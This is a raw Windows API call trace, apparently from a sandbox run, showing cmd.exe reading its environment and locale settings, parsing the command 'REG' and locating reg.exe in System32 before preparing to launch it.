	[0202.818] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a04c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0202.818] GetProcessHeap () returned 0x50000
	[0202.818] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x218) returned 0x6ac00
	[0202.818] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6ac10, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0202.819] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0202.819] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0202.819] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0202.819] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0202.819] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0202.819] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0202.819] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0202.819] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0202.820] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0202.820] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0202.820] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0202.820] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0202.820] GetProcessHeap () returned 0x50000
	[0202.820] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x696e0 | out: hHeap=0x50000) returned 1
	[0202.820] GetEnvironmentStringsW () returned 0x68c50*
	[0202.820] GetProcessHeap () returned 0x50000
	[0202.820] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xa94) returned 0x6b8c0
	[0202.821] FreeEnvironmentStringsW (penv=0x68c50) returned 1
	[0202.821] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0202.821] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0202.821] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0202.821] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0202.821] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0202.821] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0202.821] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0202.821] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0202.821] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0202.821] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0202.822] GetProcessHeap () returned 0x50000
	[0202.822] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x5c) returned 0x51320
	[0202.822] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x30f750 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0202.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x30f750, lpFilePart=0x30f730 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30f730*="Desktop") returned 0x25
	[0202.822] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0202.822] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x30f460 | out: lpFindFileData=0x30f460*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x46ac4330, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46ac4330, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc70000c7, cFileName="Users", cAlternateFileName="")) returned 0x51390
	[0202.822] FindClose (in: hFindFile=0x51390 | out: hFindFile=0x51390) returned 1
	[0202.823] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x30f460 | out: lpFindFileData=0x30f460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46ac4330, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46ac4330, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc70000c7, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x51390
	[0202.823] FindClose (in: hFindFile=0x51390 | out: hFindFile=0x51390) returned 1
	[0202.823] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0202.823] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x30f460 | out: lpFindFileData=0x30f460*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa9fd370, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0xa9fd370, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc70000c7, cFileName="Desktop", cAlternateFileName="")) returned 0x51390
	[0202.823] FindClose (in: hFindFile=0x51390 | out: hFindFile=0x51390) returned 1
	[0202.824] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0202.824] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0202.824] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0202.824] GetProcessHeap () returned 0x50000
	[0202.824] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6b8c0 | out: hHeap=0x50000) returned 1
	[0202.824] GetEnvironmentStringsW () returned 0x68c50*
	[0202.824] GetProcessHeap () returned 0x50000
	[0202.824] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xae8) returned 0x6ae20
	[0202.824] FreeEnvironmentStringsW (penv=0x68c50) returned 1
	[0202.824] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a04c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0202.825] GetProcessHeap () returned 0x50000
	[0202.825] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x51320 | out: hHeap=0x50000) returned 1
	[0202.825] GetProcessHeap () returned 0x50000
	[0202.825] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x4016) returned 0x6ce50
	[0202.826] GetProcessHeap () returned 0x50000
	[0202.826] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x168) returned 0x6b910
	[0202.826] GetProcessHeap () returned 0x50000
	[0202.826] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce50 | out: hHeap=0x50000) returned 1
	[0202.826] GetConsoleOutputCP () returned 0x1b5
	[0202.827] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1
	[0202.827] GetUserDefaultLCID () returned 0x409
	[0202.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a047b50, cchData=8 | out: lpLCData=":") returned 2
	[0202.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x30f860, cchData=128 | out: lpLCData="0") returned 2
	[0202.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x30f860, cchData=128 | out: lpLCData="0") returned 2
	[0202.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x30f860, cchData=128 | out: lpLCData="1") returned 2
	[0202.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a05a740, cchData=8 | out: lpLCData="/") returned 2
	[0202.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a05a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0202.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a05a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0202.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a05a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0202.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a05a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0202.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a05a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0202.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a05a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0202.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a05a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0202.830] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a047b40, cchData=8 | out: lpLCData=".") returned 2
	[0202.830] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a05a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0202.831] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0202.832] GetProcessHeap () returned 0x50000
	[0202.832] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x0, Size=0x20c) returned 0x6baf0
	[0202.832] GetConsoleTitleW (in: lpConsoleTitle=0x6baf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0202.833] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0202.833] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0202.833] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0202.833] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0202.834] GetProcessHeap () returned 0x50000
	[0202.834] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x4012) returned 0x6ce50
	[0202.834] GetProcessHeap () returned 0x50000
	[0202.834] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce50 | out: hHeap=0x50000) returned 1
	[0202.835] _wcsicmp (_String1="REG", _String2=")") returned 73
	[0202.835] _wcsicmp (_String1="FOR", _String2="REG") returned -12
	[0202.835] _wcsicmp (_String1="FOR/?", _String2="REG") returned -12
	[0202.835] _wcsicmp (_String1="IF", _String2="REG") returned -9
	[0202.835] _wcsicmp (_String1="IF/?", _String2="REG") returned -9
	[0202.835] _wcsicmp (_String1="REM", _String2="REG") returned 6
	[0202.835] _wcsicmp (_String1="REM/?", _String2="REG") returned 6
	[0202.835] GetProcessHeap () returned 0x50000
	[0202.835] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xb0) returned 0x6bd10
	[0202.835] GetProcessHeap () returned 0x50000
	[0202.835] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x18) returned 0x68af0
	[0203.371] GetProcessHeap () returned 0x50000
	[0203.371] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x15e) returned 0x6bdd0
	[0203.373] GetConsoleTitleW (in: lpConsoleTitle=0x30f770, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0203.374] _wcsicmp (_String1="REG", _String2="DIR") returned 14
	[0203.374] _wcsicmp (_String1="REG", _String2="ERASE") returned 13
	[0203.374] _wcsicmp (_String1="REG", _String2="DEL") returned 14
	[0203.374] _wcsicmp (_String1="REG", _String2="TYPE") returned -2
	[0203.374] _wcsicmp (_String1="REG", _String2="COPY") returned 15
	[0203.374] _wcsicmp (_String1="REG", _String2="CD") returned 15
	[0203.374] _wcsicmp (_String1="REG", _String2="CHDIR") returned 15
	[0203.374] _wcsicmp (_String1="REG", _String2="RENAME") returned -7
	[0203.374] _wcsicmp (_String1="REG", _String2="REN") returned -7
	[0203.374] _wcsicmp (_String1="REG", _String2="ECHO") returned 13
	[0203.374] _wcsicmp (_String1="REG", _String2="SET") returned -1
	[0203.375] _wcsicmp (_String1="REG", _String2="PAUSE") returned 2
	[0203.375] _wcsicmp (_String1="REG", _String2="DATE") returned 14
	[0203.375] _wcsicmp (_String1="REG", _String2="TIME") returned -2
	[0203.375] _wcsicmp (_String1="REG", _String2="PROMPT") returned 2
	[0203.375] _wcsicmp (_String1="REG", _String2="MD") returned 5
	[0203.375] _wcsicmp (_String1="REG", _String2="MKDIR") returned 5
	[0203.375] _wcsicmp (_String1="REG", _String2="RD") returned 1
	[0203.375] _wcsicmp (_String1="REG", _String2="RMDIR") returned -8
	[0203.375] _wcsicmp (_String1="REG", _String2="PATH") returned 2
	[0203.375] _wcsicmp (_String1="REG", _String2="GOTO") returned 11
	[0203.375] _wcsicmp (_String1="REG", _String2="SHIFT") returned -1
	[0203.375] _wcsicmp (_String1="REG", _String2="CLS") returned 15
	[0203.375] _wcsicmp (_String1="REG", _String2="CALL") returned 15
	[0203.375] _wcsicmp (_String1="REG", _String2="VERIFY") returned -4
	[0203.375] _wcsicmp (_String1="REG", _String2="VER") returned -4
	[0203.375] _wcsicmp (_String1="REG", _String2="VOL") returned -4
	[0203.376] _wcsicmp (_String1="REG", _String2="EXIT") returned 13
	[0203.376] _wcsicmp (_String1="REG", _String2="SETLOCAL") returned -1
	[0203.376] _wcsicmp (_String1="REG", _String2="ENDLOCAL") returned 13
	[0203.376] _wcsicmp (_String1="REG", _String2="TITLE") returned -2
	[0203.376] _wcsicmp (_String1="REG", _String2="START") returned -1
	[0203.376] _wcsicmp (_String1="REG", _String2="DPATH") returned 14
	[0203.376] _wcsicmp (_String1="REG", _String2="KEYS") returned 7
	[0203.376] _wcsicmp (_String1="REG", _String2="MOVE") returned 5
	[0203.376] _wcsicmp (_String1="REG", _String2="PUSHD") returned 2
	[0203.376] _wcsicmp (_String1="REG", _String2="POPD") returned 2
	[0203.376] _wcsicmp (_String1="REG", _String2="ASSOC") returned 17
	[0203.376] _wcsicmp (_String1="REG", _String2="FTYPE") returned 12
	[0203.376] _wcsicmp (_String1="REG", _String2="BREAK") returned 16
	[0203.377] _wcsicmp (_String1="REG", _String2="COLOR") returned 15
	[0203.377] _wcsicmp (_String1="REG", _String2="MKLINK") returned 5
	[0203.377] _wcsicmp (_String1="REG", _String2="DIR") returned 14
	[0203.377] _wcsicmp (_String1="REG", _String2="ERASE") returned 13
	[0203.377] _wcsicmp (_String1="REG", _String2="DEL") returned 14
	[0203.377] _wcsicmp (_String1="REG", _String2="TYPE") returned -2
	[0203.377] _wcsicmp (_String1="REG", _String2="COPY") returned 15
	[0203.377] _wcsicmp (_String1="REG", _String2="CD") returned 15
	[0203.377] _wcsicmp (_String1="REG", _String2="CHDIR") returned 15
	[0203.377] _wcsicmp (_String1="REG", _String2="RENAME") returned -7
	[0203.377] _wcsicmp (_String1="REG", _String2="REN") returned -7
	[0203.378] _wcsicmp (_String1="REG", _String2="ECHO") returned 13
	[0203.378] _wcsicmp (_String1="REG", _String2="SET") returned -1
	[0203.378] _wcsicmp (_String1="REG", _String2="PAUSE") returned 2
	[0203.378] _wcsicmp (_String1="REG", _String2="DATE") returned 14
	[0203.378] _wcsicmp (_String1="REG", _String2="TIME") returned -2
	[0203.378] _wcsicmp (_String1="REG", _String2="PROMPT") returned 2
	[0203.378] _wcsicmp (_String1="REG", _String2="MD") returned 5
	[0203.378] _wcsicmp (_String1="REG", _String2="MKDIR") returned 5
	[0203.378] _wcsicmp (_String1="REG", _String2="RD") returned 1
	[0203.378] _wcsicmp (_String1="REG", _String2="RMDIR") returned -8
	[0203.378] _wcsicmp (_String1="REG", _String2="PATH") returned 2
	[0203.378] _wcsicmp (_String1="REG", _String2="GOTO") returned 11
	[0203.378] _wcsicmp (_String1="REG", _String2="SHIFT") returned -1
	[0203.379] _wcsicmp (_String1="REG", _String2="CLS") returned 15
	[0203.379] _wcsicmp (_String1="REG", _String2="CALL") returned 15
	[0203.379] _wcsicmp (_String1="REG", _String2="VERIFY") returned -4
	[0203.379] _wcsicmp (_String1="REG", _String2="VER") returned -4
	[0203.379] _wcsicmp (_String1="REG", _String2="VOL") returned -4
	[0203.379] _wcsicmp (_String1="REG", _String2="EXIT") returned 13
	[0203.379] _wcsicmp (_String1="REG", _String2="SETLOCAL") returned -1
	[0203.379] _wcsicmp (_String1="REG", _String2="ENDLOCAL") returned 13
	[0203.379] _wcsicmp (_String1="REG", _String2="TITLE") returned -2
	[0203.379] _wcsicmp (_String1="REG", _String2="START") returned -1
	[0203.379] _wcsicmp (_String1="REG", _String2="DPATH") returned 14
	[0203.379] _wcsicmp (_String1="REG", _String2="KEYS") returned 7
	[0203.379] _wcsicmp (_String1="REG", _String2="MOVE") returned 5
	[0203.380] _wcsicmp (_String1="REG", _String2="PUSHD") returned 2
	[0203.380] _wcsicmp (_String1="REG", _String2="POPD") returned 2
	[0203.380] _wcsicmp (_String1="REG", _String2="ASSOC") returned 17
	[0203.380] _wcsicmp (_String1="REG", _String2="FTYPE") returned 12
	[0203.380] _wcsicmp (_String1="REG", _String2="BREAK") returned 16
	[0203.380] _wcsicmp (_String1="REG", _String2="COLOR") returned 15
	[0203.380] _wcsicmp (_String1="REG", _String2="MKLINK") returned 5
	[0203.380] _wcsicmp (_String1="REG", _String2="FOR") returned 12
	[0203.380] _wcsicmp (_String1="REG", _String2="IF") returned 9
	[0203.380] _wcsicmp (_String1="REG", _String2="REM") returned -6
	[0203.381] GetProcessHeap () returned 0x50000
	[0203.381] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x218) returned 0x6bf40
	[0203.381] GetProcessHeap () returned 0x50000
	[0203.381] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x166) returned 0x6c160
	[0203.381] _wcsnicmp (_String1="REG", _String2="cmd ", _MaxCount=0x4) returned 15
	[0203.381] GetProcessHeap () returned 0x50000
	[0203.381] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x420) returned 0x51320
	[0203.382] SetErrorMode (uMode=0x0) returned 0x0
	[0203.382] SetErrorMode (uMode=0x1) returned 0x0
	[0203.382] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x51330, lpFilePart=0x30f000 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30f000*="Desktop") returned 0x25
	[0203.382] SetErrorMode (uMode=0x0) returned 0x1
	[0203.382] GetProcessHeap () returned 0x50000
	[0203.382] RtlReAllocateHeap (Heap=0x50000, Flags=0x0, Ptr=0x51320, Size=0x64) returned 0x51320
	[0203.383] GetProcessHeap () returned 0x50000
	[0203.383] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x51320) returned 0x64
	[0203.383] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0203.383] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0203.384] GetProcessHeap () returned 0x50000
	[0203.384] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x128) returned 0x513a0
	[0203.384] GetProcessHeap () returned 0x50000
	[0203.384] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x240) returned 0x514d0
	[0203.404] GetProcessHeap () returned 0x50000
	[0203.404] RtlReAllocateHeap (Heap=0x50000, Flags=0x0, Ptr=0x514d0, Size=0x12a) returned 0x514d0
	[0203.404] GetProcessHeap () returned 0x50000
	[0203.404] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x514d0) returned 0x12a
	[0203.404] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0203.404] GetProcessHeap () returned 0x50000
	[0203.404] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xe8) returned 0x51610
	[0203.406] GetProcessHeap () returned 0x50000
	[0203.406] RtlReAllocateHeap (Heap=0x50000, Flags=0x0, Ptr=0x51610, Size=0x7e) returned 0x51610
	[0203.406] GetProcessHeap () returned 0x50000
	[0203.406] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x51610) returned 0x7e
	[0203.904] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0203.904] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\REG.*", fInfoLevelId=0x1, lpFindFileData=0x30ed70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ed70) returned 0xffffffffffffffff
	[0203.905] GetLastError () returned 0x2
	[0203.905] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\REG", fInfoLevelId=0x1, lpFindFileData=0x30ed70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ed70) returned 0xffffffffffffffff
	[0203.905] GetLastError () returned 0x2
	[0203.905] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0203.906] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\REG.*", fInfoLevelId=0x1, lpFindFileData=0x30ed70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ed70) returned 0x6c2d0
	[0203.906] GetProcessHeap () returned 0x50000
	[0203.906] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x0, Size=0x28) returned 0x64780
	[0203.906] FindClose (in: hFindFile=0x6c2d0 | out: hFindFile=0x6c2d0) returned 1
	[0203.907] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.COM", fInfoLevelId=0x1, lpFindFileData=0x30ed70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ed70) returned 0xffffffffffffffff
	[0203.907] GetLastError () returned 0x2
	[0203.907] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.EXE", fInfoLevelId=0x1, lpFindFileData=0x30ed70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ed70) returned 0x6c2d0
	[0203.908] GetProcessHeap () returned 0x50000
	[0203.908] RtlReAllocateHeap (Heap=0x50000, Flags=0x0, Ptr=0x64780, Size=0x8) returned 0x6c330
	[0203.908] FindClose (in: hFindFile=0x6c2d0 | out: hFindFile=0x6c2d0) returned 1
	[0203.908] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0203.908] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0203.908] GetConsoleTitleW (in: lpConsoleTitle=0x30f2c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
	[0203.909] InitializeProcThreadAttributeList (in: lpAttributeList=0x30f078, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x30f038 | out: lpAttributeList=0x30f078, lpSize=0x30f038) returned 1
	[0203.909] UpdateProcThreadAttribute (in: lpAttributeList=0x30f078, dwFlags=0x0, Attribute=0x60001, lpValue=0x30f028, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x30f078, lpPreviousValue=0x0) returned 1
	[0203.909] GetStartupInfoW (in: lpStartupInfo=0x30f190 | out: lpStartupInfo=0x30f190*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0203.909] GetProcessHeap () returned 0x50000
	[0203.909] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x20) returned 0x64780
	[0203.909] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0203.909] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0203.909] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0203.909] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0203.909] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0203.910] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0203.910] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0203.910] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0203.910] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0203.910] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0203.910] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0203.910] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0203.910] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0203.910] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0203.910] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0203.910] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0203.910] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0203.910] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0203.911] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0203.911] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0203.911] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0203.911] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0203.911] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0203.911] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0203.911] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0203.911] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0203.911] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0203.911] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0203.911] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0203.911] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0203.911] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0203.912] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0203.912] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0203.912] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
